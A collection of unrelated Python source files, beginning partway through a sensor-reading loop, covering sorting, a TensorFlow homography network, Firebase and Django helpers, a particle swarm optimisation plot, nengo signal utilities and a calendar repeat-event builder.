            altitude0 = sh0.get_altitude()
            psi0 = sh0.get_pressure()

            temperature1 = sh1.get_temperature()
            altitude1 = sh1.get_altitude()
            psi1 = sh1.get_pressure()

            if psi0 < 14 or psi0 > 15:
                print(f'Abnormal pressure reading for sensor 0: {psi0}')
            else:
                print(f'Sensor 0 - Pressure: {psi0}  Temperature: {temperature0}  Altitude (M): {altitude0}')

            if psi1 < 14 or psi1 > 15:
                print(f'Abnormal pressure reading for sensor 1: {psi1}')
            else:
                print(f'Sensor 1 - Pressure: {psi1}  Temperature: {temperature1}  Altitude (M): {altitude1}')

            count = count + 1
        except Exception as e:
            print(f'Exception: {e}')

        # do it again in a second
        time.sleep(1)


import random
import time
import matplotlib.pyplot as plt
from tkinter import *
import books

def find_pivot_index(list):
    """
    Finds the median of the first 3 elements in a list
    """
    low = 0
    high = -1
    mid = len(list) // 2

    if (list[mid] <= list[low] <= list[high]):
        result = low

    return result

def swap(list, first_index, second_index):
    """
    Swaps two elements in a list
    """
    temporary_value = list[first_index]
    list[first_index] = list[second_index]
    list[second_index] = temporary_value
    return list

def quick_sort(list):
    """
    Sorts a list of numbers in ascending order
    """

    # No border sorting needed if there are less than 3 elements
    if len(list) == 0:
        return []
    if len(list) == 1:
        return list
    if len(list) == 2:
        result = []
        if list[0] < list[1]:
            result.append(list[0])
            result.append(list[1])
        else:
            result.append(list[1])
            result.append(list[0])
        return result

    pivot_index = find_pivot_index(list)

    # Swap pivot to first position
    list = swap(list, pivot_index, 0)

    border_offset = 1
    border_index = 1

    while (border_index + border_offset) < (len(list)):
        if list[border_index + border_offset] <= list[0]:
            # Swap border and compared value
            list = swap(list, border_index, border_index + border_offset)
            border_offset = 1
            border_index = border_index + 1
        else:
            border_offset = border_offset + 1

    # Check if last value is smaller than the pivot and swap if necessary
    if (list[-1] <= list[0]) and (border_index + 1 < len(list)):
        swap(list, border_index + 1, -1)
        border_index = border_index + 1

    # Check if border is larger than pivot and exclude it from the left list if yes
    if list[border_index] > list[0]:
        border_index = border_index - 1

    # Swap border and pivot
    list = swap(list, border_index, 0)

    left = []
    # Recursively call the function for the left side
    # Skip the recursive call if there is only one element left
    if len(list[0:border_index]) == 1:
        left = list[0:border_index]
    else:
        left = quick_sort(list[0:border_index])

    right = []
    # Recursively call the function for the right side
    # Skip the recursive call if there is only one element left
    if len(list[border_index + 1:]) == 1:
        right = list[border_index + 1:]
    else:
        right = quick_sort(list[border_index + 1:])

    print("left************************************")
    for item in left:

        print(item)

    print("mid", str(list[pivot_index]))

    print("right************************************")
    for item in right:

        print(item)

    result = []
    result.extend(left)
    result.append(list[border_index]) # The pivot value will be at this index because we earlier swapped the border and the pivot
    result.extend(right)

    return result

all_books = []
all_books.append(books.Book("Name 3", "Author 3", "isbn 3", 102))
all_books.append(books.Book("Name 3", "Author 3", "isbn 3", 103))
all_books.append(books.Book("Name 3", "Author 3", "isbn 3", 104))
all_books.append(books.Book("Name 3", "Author 3", "isbn 3", 105))
all_books.append(books.Book("Name 3", "Author 3", "isbn 3", 106))
all_books.append(books.Book("Name 1", "Author 1", "isbn 1", 1))
all_books.append(books.Book("Name 2", "Author 2", "isbn 2", 2))
all_books.append(books.Book("Name 4", "Author 4", "isbn 4", 4))
all_books.append(books.Book("Name 5", "Author 5", "isbn 5", 5))
all_books.append(books.Book("Name 3", "Author 3", "isbn 3", 3))
all_books.append(books.Book("Name 3", "Author 3", "isbn 3", 100))
all_books.append(books.Book("Name 3", "Author 3", "isbn 3", 101))

print("BEFORE")
for book in all_books:
    print(book)

sorted_list_all_books = quick_sort(all_books)

print("After")
for book in sorted_list_all_books:
    print(book)


"""
Author(s):
Kartik Madhira (kmadhira@terpmail.umd.edu)
Masters in Engineering,
University of Maryland, College Park
"""

import tensorflow as tf
import sys
import numpy as np
# Don't generate pyc codes
sys.dont_write_bytecode = True

def HomographyModel(Img, ImageSize, MiniBatchSize):

    conv1=tf.layers.conv2d(Img,filters=64,
                           kernel_size=(3,3),
                           padding="same",
                           activation=tf.nn.relu)

    norm1 = tf.layers.batch_normalization(conv1)

    conv2=tf.layers.conv2d(norm1,
                           filters=64,
                           kernel_size=(3,3),
                           padding="same",
                           activation=tf.nn.relu)

    norm2 = tf.layers.batch_normalization(conv2)

    pool2=tf.layers.max_pooling2d(inputs=norm2,
                                  pool_size=(2,2),
                                  strides=2)

    #drop1=tf.layers.dropout(pool2,rate=0.5)

    conv3=tf.layers.conv2d(pool2,
                           filters=64,
                           kernel_size=(3,3),
                           padding="same",
                           activation=tf.nn.relu)

    norm3 = tf.layers.batch_normalization(conv3)

    conv4=tf.layers.conv2d(norm3,
                           filters=64,
                           kernel_size=(3,3),
                           padding="same",
                           activation=tf.nn.relu)

    pool3=tf.layers.max_pooling2d(inputs=conv4,
                                  pool_size=(2,2),
                                  strides=2)

    #drop2=tf.layers.dropout(pool3,rate=0.5)

    conv5=tf.layers.conv2d(pool3,
                           filters=128,
                           kernel_size=(3,3),
                           padding="same",
                           activation=tf.nn.relu)

    norm4 = tf.layers.batch_normalization(conv5)

#    #pool4=tf.layers.max_pooling2d(inputs=norm4,
#                                  pool_size=(2,2),
#                                  strides=2)

    conv6=tf.layers.conv2d(norm4,
                           filters=128,
                           kernel_size=(3,3),
                           padding="same",
                           activation=tf.nn.relu)

    norm5 = tf.layers.batch_normalization(conv6)

    pool4=tf.layers.max_pooling2d(inputs=norm5,
                                  pool_size=(2,2),
                                  strides=2)

    conv7=tf.layers.conv2d(pool4,
                           filters=128,
                           kernel_size=(3,3),
                           padding="same",
                           activation=tf.nn.relu)

    #drop3=tf.layers.dropout(pool4,rate=0.5)
    norm6 = tf.layers.batch_normalization(conv7)

    conv8=tf.layers.conv2d(norm6,
                           filters=128,
                           kernel_size=(3,3),
                           padding="same",
                           activation=tf.nn.relu)

    #now flattening the layer to add a fully connected layer
    flatLayer1=tf.reshape(conv8,[-1,conv8.shape[1:4].num_elements()])

    #adding a dense layer
    dense1=tf.layers.dense(inputs=flatLayer1,units=1024,activation=tf.nn.relu)

    #add dropout if required!
    H4Pt=tf.layers.dense(dense1,units=8,activation=None)

    return H4Pt


import firebase_admin
from firebase_admin import credentials
from firebase_admin import firestore

def init(key="../keys/cheqout-57ee7-firebase-adminsdk-8b1oa-8dd14d0e11.json"):
    """
    Initializes firestore
    @return: returns a Collection Object that references the top level inventory collection in Firestore
    """
    cred = credentials.Certificate(
        key)
    firebase_admin.initialize_app(cred)

    # App is an app object of sorts
    App = firebase_admin.initialize_app(cred, None, 'Cheqout Inventory')
    # Client is a firestore client, the docs is https://googlecloudplatform.github.io/google-cloud-python/latest/firestore/client.html
    Client = firebase_admin.firestore.client()

    # get a reference to the top level collection
    return Client.collection('inventory')

def get_item_data(inventory, item_id):
    """
    Get the data associated with an item from an inventory
    @param inventory: The Collection object that represents the inventory
    @param item_id: The id of the item data being requested from
    @return: a dict containing data about the requested item
    """
    for document in inventory.get():
        if document.id == item_id:
            return_data = document.to_dict()
            return_data['id'] = item_id
            return return_data
    return None

def add_item_data(inventory, item_id, item_data):
    """
    Stores the item data and item id to the firestore database
    @param inventory: The Collection object that represents the inventory
    @param item_id: The id of the item data being stored in
    @param item_data: The data of the item to be stored
    @return: A boolean flag representing whether the operation succeeded or not

    Assumes the input item_data is valid
    """
    # if the item already exists, just update its' information
    for document in inventory.get():
        if document.id == item_id:
            doc_ref = document.reference
            doc_ref.set(item_data)
            return True
    # otherwise, create a new entry and add it to the collection
    inventory.add(item_data, item_id)
    return True


"""CLI Helpers."""

import dataclasses
import pathlib
import subprocess
import urllib.request

import typer

@dataclasses.dataclass
class Initializer:
    """Initialize a new ZnTrack Project."""

    name: str
    gitignore: bool
    force: bool
    src: pathlib.Path = pathlib.Path("src")

    _gitignore_url: str = (
        "https://raw.githubusercontent.com/github/gitignore/main/Python.gitignore"
    )

    def run(self):
        """Run the initializer."""
        self.check_empty()
        typer.echo(f"Creating new project: {self.name}")
        self.make_src()
        self.make_repo()
        self.write_main_file()
        self.write_readme()
        if self.gitignore:
            self.write_gitignore()

    def check_empty(self):
        """Check if the project directory is empty.

        Raises
        ------
        typer.Exit: if the directory is not empty and force is false
        """
        is_empty = not any(pathlib.Path(".").iterdir())
        if not is_empty and not self.force:
            typer.echo(
                "The current working directory is not empty. If you want to initialize a"
                " project anyway use 'zntrack init --force'."
            )
            raise typer.Exit()

    def make_src(self):
        """Create a src directory that contains the Node configurations."""
        self.src.mkdir()
        init_file = self.src / "__init__.py"
        init_file.write_text(r'"""ZnTrack Node module."""')

    def write_gitignore(self):
        """Create a gitignore file based on the Python gitignore template."""
        gitignore = pathlib.Path(".gitignore")
        with urllib.request.urlopen(self._gitignore_url) as url:
            gitignore.write_text(url.read().decode("utf-8"))

    def write_main_file(self):
        """Create a 'main.py' file."""
        pathlib.Path("main.py").touch()

    def write_readme(self):
        """Create a README.md file."""
        pathlib.Path("README.md").write_text(f"# Welcome to {self.name} \n")

    def make_repo(self):
        """Initialize the repository."""
        subprocess.check_call(["git", "init"])
        subprocess.check_call(["dvc", "init"])


from rest_framework import serializers,fields
from store_product.sp_serializer import Store_product_serializer
from report.models import Report

class Report_serializer(serializers.ModelSerializer):

    class Meta:
        model = Report
        fields = ('id','name')

class Report_sp_lst_serializer(serializers.ModelSerializer):

    sp_lst = Store_product_serializer(many=True)
    class Meta:
        model = Report
        fields = ('id','name','sp_lst')


import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.animation as animation
import random
from IPython.display import HTML
from matplotlib.animation import PillowWriter
from PIL import Image, ImageDraw

# 目的関数
# def objective_function(position):
#       return np.sum(position * position)
fig = plt.figure()
ims = []

def objective_function(position):

    # RASTRIGIN FUNCTION
    t1 = 10 * len(position)
    t2 = np.sum(position ** 2)
    t3 = -10 * np.sum(np.cos(2 * np.pi * position))
    return t1 + t2 + t3
    """
    t1 = 20
    t2 = -20 * np.exp(-0.2 * np.sqrt(1.0 / len(position) * np.sum(position ** 2, axis=0)))
    t3 = np.e
    t4 = -np.exp(1.0 / len(position) * np.sum(np.cos(2 * np.pi * position), axis=0))
    return t1 + t2 + t3 + t4
    """

# 描画のための初期化
def init_plot(xy_min, xy_max):
    matplot_x = np.arange(xy_min, xy_max, 0.1)
    matplot_y = np.arange(xy_min, xy_max, 0.1)

    matplot_mesh_X, matplot_mesh_Y = np.meshgrid(matplot_x, matplot_y)

    Z = []
    for i in range(len(matplot_mesh_X)):
        z = []
        for j in range(len(matplot_mesh_X[0])):
            result = objective_function(np.array([matplot_mesh_X[i][j], matplot_mesh_Y[i][j]]))
            z.append(result)
        Z.append(z)
    Z = np.array(Z)
    plt.ion()
    #fig = plt.figure()
    fig.suptitle("PSO")
    axes = Axes3D(fig)

    axes.set_xlabel('x')
    axes.set_ylabel('y')
    axes.set_zlabel('f(x, y)')

    mesh_XYZ = {
        "X": matplot_mesh_X,
        "Y": matplot_mesh_Y,
        "Z": Z
    }

    return axes, mesh_XYZ

# 描画
def play_plot(axes, mesh_XYZ, positions, personal_best_positions, personal_best_scores, global_best_particle_position, velocities):
    #cm = plt.get_cmap("cool")
    im1 = axes.plot_surface(mesh_XYZ['X'], mesh_XYZ['Y'], mesh_XYZ['Z'], alpha=0.3, cmap='viridis')
    im2 = axes.scatter(positions[:,0], positions[:,1], np.apply_along_axis(objective_function, 1, positions), c="crimson", linewidth=1)
    im3 = axes.scatter(personal_best_positions[:,0], personal_best_positions[:,1], personal_best_scores, linewidth=1, c='darkslateblue')
    im4 = axes.scatter(global_best_particle_position[0], global_best_particle_position[1], objective_function(global_best_particle_position), linewidth=3, marker='o', c='black')

    im5 = axes.quiver(positions[:,0], positions[:,1], np.apply_along_axis(objective_function, 1, positions), velocities[:,0], velocities[:,1],np.zeros(len(velocities)), color='gray')

    ims.append([im1,im2,im3,im4,im5])

    plt.draw()
    plt.pause(0.1)
    plt.cla()

# 各粒子の位置更新
def update_positions(positions, velocities):
    positions += velocities
    return positions

# 各粒子の速度更新
def update_velocities(positions, velocities, personal_best_positions, global_best_particle_position, w=0.5, ro_max=0.14):
    rc1 = random.uniform(0, ro_max)
    rc2 = random.uniform(0, ro_max)

    velocities = velocities * w + rc1 * (personal_best_positions - positions) + rc2 * (global_best_particle_position - positions)

    return velocities

def main():
    print("Particles: ")
    number_of_particles = int(input())

    print("Dimensions: ")
    dimensions = int(input())

    print("LimitTimes: ")
    limit_times = int(input())

    xy_min, xy_max = -5, 5

    # グラフの初期化
    axes, mesh_XYZ = init_plot(xy_min, xy_max)

    # 各粒子の位置
    positions = np.array([[random.uniform(xy_min, xy_max) for _ in range(dimensions)] for _ in range(number_of_particles)])

    # 各粒子の速度
    velocities = np.zeros(positions.shape)

    # 各粒子ごとのパーソナルベスト位置
    personal_best_positions = np.copy(positions)

    # 各粒子ごとのパーソナルベストの値
    personal_best_scores = np.apply_along_axis(objective_function, 1, personal_best_positions)

    # グローバルベストの粒子ID
    global_best_particle_id = np.argmin(personal_best_scores)

    # グローバルベスト位置
    global_best_particle_position = personal_best_positions[global_best_particle_id]

    # 規定回数
    for T in range(limit_times):

        # 速度更新
        velocities = update_velocities(positions, velocities, personal_best_positions, global_best_particle_position)

        # 位置更新
        positions = update_positions(positions, velocities)

        # パーソナルベストの更新
        for i in range(number_of_particles):
            score = objective_function(positions[i])
            if score < personal_best_scores[i]:
                personal_best_scores[i] = score
                personal_best_positions[i] = positions[i]

        # グローバルベストの更新
        global_best_particle_id = np.argmin(personal_best_scores)
        global_best_particle_position = personal_best_positions[global_best_particle_id]

        # グラフ描画
        play_plot(axes, mesh_XYZ, positions, personal_best_positions, personal_best_scores, global_best_particle_position, velocities)

    ani = animation.ArtistAnimation(fig, ims, blit=True)
    ani.save('popopo.gif', writer="pillow", dpi=100)

if __name__ == '__main__':
    main()


from django.shortcuts import render
from ancestry_web.instance_details import this_instance
from django.contrib.auth.models import User
from private.models import Person, Source, AlternativeName

def landing_page(request):
	context = {}
	context.update(this_instance)
	return render(request, 'public/landing-page.html', context)

def statistics(request):
	surnames = {}
	ppl_objs = Person.objects.all()
	an_objs = AlternativeName.objects.all()

	for person in ppl_objs:
		if person.surname_at_birth not in surnames:
			surnames[person.surname_at_birth] = 1
		else:
			surnames[person.surname_at_birth] += 1

	for an in an_objs:
		if len(an.alternate_surname) > 0:
			if an.alternate_surname not in surnames:
				surnames[an.alternate_surname] = 1
			else:
				surnames[an.alternate_surname] += 1

	surnames = {k: v for k, v in sorted(surnames.items(), key=lambda item: item[1], reverse=True) if v > 2}

	context= {}
	context['surnames'] = surnames
	context['num_users'] = len(User.objects.all())
	context['num_people'] = len(ppl_objs)
	context['num_sources'] = len(Source.objects.all())
	return render(request, 'public/stats.html', context)

def about(request):
	context = {}
	return render(request, 'public/about.html', context)


from __future__ import absolute_import

import numpy as np

from nengo.utils.compat import is_number, OrderedDict, range

def piecewise(data):
    """Create a piecewise constant function from a dictionary.

    Given an input of data={0: 0, 0.5: 1, 0.75: -1, 1: 0} this will generate a
    function that returns 0 up until t=0.5, then outputs a 1 until t=0.75,
    then a -1 until t=1, and then returns 0 after that. This is meant as a
    shortcut for::

        def function(t):
            if t < 0.5:
                return 0
            elif t < 0.75
                return 1
            elif t < 1:
                return -1
            else:
                return 0

    The keys in the dictionary must be times (floats or ints). The values in
    the data dictionary can be floats, lists, or functions that return
    floats or lists. All lists must be of the same length.

    For times before the first specified time, it will default to zero (of
    the correct length). This means the above example can be simplified to::

        piecewise({0.5: 1, 0.75: -1, 1: 0})

    Parameters
    ----------
    data : dict
        The values to change to. Keys are the beginning time for the value.
        Values can be int, float, list, or functions that return those.

    Returns
    -------
    function:
        A function that takes a variable t and returns the corresponding
        value from the dictionary.

    Examples
    --------

      >>> func = piecewise({0.5: 1, 0.75: -1, 1: 0})
      >>> func(0.2)
      [0]
      >>> func(0.58)
      [1]

      >>> func = piecewise({0.5: [1, 0], 0.75: [0, 1]})
      >>> func(0.2)
      [0,0]
      >>> func(0.58)
      [1,0]
      >>> func(100)
      [0,1]

      >>> import math
      >>> func = piecewise({0: math.sin, 0.5: math.cos})
      >>> func(0.499)
      [0.47854771647582706]
      >>> func(0.5)
      [0.8775825618903728]

    """

    # first, sort the data (to simplify finding the right element
    # when calling the function)
    output_length = None  # the dimensionality of the returned values
    for time in data:
        if not is_number(time):
            raise TypeError('Keys must be times (floats or ints), not "%s"'
                            % repr(time.__class__))

        # figure out the length of this item
        if callable(data[time]):
            length = np.asarray(data[time](0.0)).size
        else:
            data[time] = np.asarray(data[time])
            length = data[time].size

        # make sure this is the same length as previous items
        if length != output_length and output_length is not None:
            raise ValueError('Invalid data for piecewise function: '
                             'time %4g has %d items instead of %d' %
                             (time, length, output_length))
        output_length = length

    # make a default output of 0 when t before what was passed
    data[np.finfo(float).min] = np.zeros(output_length)
    ordered_data = OrderedDict(sorted(data.items()))

    # build the function to return
    def piecewise_function(t, data=ordered_data):
        # get the t we'll use for output
        for time in (time for time in data if time <= t):
            out_t = time

        # if it's a function, call it
        if callable(data[out_t]):
            return np.asarray(data[out_t](t))
        return data[out_t]
    return piecewise_function

def whitenoise(step, high, rms=0.5, seed=None, dimensions=None):
    """Generate white noise inputs

    Parameters
    ----------
    step : float
        The step size of different frequencies to generate

    high : float
        The highest frequency to generate (should be a multiple of step)

    rms : float
        The RMS power of the signal

    seed : int or None
        Random number seed

    dimensions : int or None
        The number of different random signals to generate.  The resulting
        function will return an array of length `dimensions` for every
        point in time.  If `dimensions` is None, the resulting function will
        just return a float for each point in time.

    Returns
    -------
    function:
        A function that takes a variable t and returns the value of the
        randomly generated signal.  This value is a float if `dimensions` is
        None; otherwise it is a list of length `dimensions`.
    """
    rng = np.random.RandomState(seed)

    if dimensions is not None:
        signals = [whitenoise(
            step, high, rms=rms, seed=rng.randint(0x7ffffff))
            for i in range(dimensions)]

        def whitenoise_function(t, signals=signals):
            return [signal(t) for signal in signals]
        return whitenoise_function

    N = int(float(high) / step)  # number of samples
    frequencies = np.arange(1, N + 1) * step * 2 * np.pi  # frequency of each
    amplitude = rng.uniform(0, 1, N)  # amplitude for each sample
    phase = rng.uniform(0, 2 * np.pi, N)  # phase of each sample

    # compute the rms of the signal
    rawRMS = np.sqrt(np.sum(amplitude ** 2) / 2)
    amplitude = amplitude * rms / rawRMS  # rescale

    # create a function that computes the bases and weights them by amplitude
    def whitenoise_function(t, f=frequencies, a=amplitude, p=phase):
        return np.dot(np.sin(f * t[..., np.newaxis] + p), a)

    return whitenoise_function


from db import repeats_collection
from db import calendars_collection

from classes.Event import Event

from utils.date import Range, range_overlap
from datetime import datetime, timedelta

from functions.update_repeat import update_repeat
from functions.update_event import update_event

import calendar
import numpy
import uuid

def build_repeat(userid, year, month):
    '''Build all events which create by repeat in certain month

    Args:
        userid (str): ID of the user.
        year (int): The year you want to build events.
        month (int): The month you want to build events.
    '''

    target_range_start = datetime(year, month, 1, 0, 0, 0)
    target_range_end = datetime(
        year, month, calendar.monthrange(year, month)[1], 23, 59, 59)

    target_range = Range(target_range_start, target_range_end)

    for cal in calendars_collection.find({'owner': userid}):
        calendar_id = cal['_id']
        for repeat in repeats_collection.find({'calendar': calendar_id}):
            repeat_range = Range(repeat['startDate'], repeat['endDate'])

            # If this repeat is in target range.
            if range_overlap(target_range, repeat_range) > 0:

                new_generated = repeat['generated']

                # Iterate all days in target range.
                pointer = target_range_start
                while pointer <= target_range_end:

                    # Check if this day should have a evnet accroding to repeat but it hasnt.
                    pointer_day_string = pointer.strftime("%Y/%-m/%-d")
                    if (repeat['cycle'] == 'Week' and int(repeat['repeatData']) - 1 == pointer.weekday(
                    ) and pointer_day_string not in repeat['generated']) or (
                            repeat['cycle'] == 'Month' and int(repeat['repeatData']) == pointer.day and pointer_day_string not in repeat['generated']):

                        # Add this day into new generated array
                        new_generated.append(pointer_day_string)

                        # Compose new Event
                        new_event = Event()
                        new_event._id = str(uuid.uuid4())
                        new_event.title = repeat['title']
                        new_event.calendar = cal['_id']
                        new_event.color = cal['color']
                        new_event.startTime = pointer.replace(
                            hour=repeat['startTime'].hour, minute=repeat['startTime'].minute, second=repeat['startTime'].second)
                        new_event.endTime = pointer.replace(
                            hour=repeat['endTime'].hour, minute=repeat['endTime'].minute, second=repeat['endTime'].second)

                        # Upload new event database
                        update_event(new_event)

                    pointer += timedelta(days=1)

                # Update the generated array
                repeat['generated'] = new_generated
                update_repeat(repeat)